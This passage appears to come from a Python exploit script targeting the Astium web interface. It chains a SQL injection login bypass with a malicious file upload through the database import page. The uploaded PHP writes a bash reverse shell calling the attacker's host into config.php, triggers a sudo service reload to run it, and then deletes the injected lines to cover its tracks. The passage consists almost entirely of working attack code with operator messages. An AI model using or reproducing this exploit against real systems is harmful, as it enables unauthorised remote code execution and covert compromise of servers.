# PHP script to write our reverse shell to the /usr/local/astium/web/php/config.php script.
phpScript='''<?php
$f = fopen("/usr/local/astium/web/php/config.php", "a");
fwrite($f, "\\n<?php system('/bin/bash -i >& /dev/tcp/%s/%s 0>&1'); ?>");
fclose($f);
system("sudo /sbin/service astcfgd reload");
// Sleep 1 minute, so that we have enough time for the reload to trigger our reverse shell
sleep(60);
$lines = file('/usr/local/astium/web/php/config.php');
// Delete last 2 lines (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit.
array_pop($lines);
array_pop($lines);
$file = join('', $lines);
$file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');
fputs($file_handle, $file);
fclose($file_handle);
?>''' % (lhost, lport)
# Create a random file with 8 characters
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".php"
# Create the form with simple fields
form = MultiPartForm()
form.add_field('__act', 'submit')
# Add a "fake" file, our simple PHP script.
form.add_file('importcompany', filename, fileHandle=StringIO(phpScript))
# SQL Injection to bypass login
SQLiAuthBypass = "system' OR 1='1"
# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
print "[*] Opening index.php to get Cookies"
# Just open the url to grab the cookies and put them in the jar
resp = opener.open("http://%s/en/content/index.php" %rhost)
print "[*] Sending evil SQLi authentication bypass payload"
# Set our post parameters and bypass the logon.php with our SQL Injection
post_params = urllib.urlencode({'__act' : 'submit', 'user_name' : SQLiAuthBypass, 'pass_word' : 'pwned', 'submit' : 'Login'})
resp = opener.open("http://%s/en/logon.php" %rhost, post_params)
print "[*] Uploading PHP script " + filename + " to inject PHP code in '/usr/local/astium/web/php/config.php' and run a 'sudo /sbin/service astcfgd reload' to create a reverse shell"
# Create our multi-part body + headers file upload request
resp = urllib2.Request("http://%s/en/database/import.php" % rhost)
body = str(form)
resp.add_header('Content-type', form.get_content_type())
resp.add_header('Content-length', len(body))
resp.add_data(body)
request = opener.open(resp).read()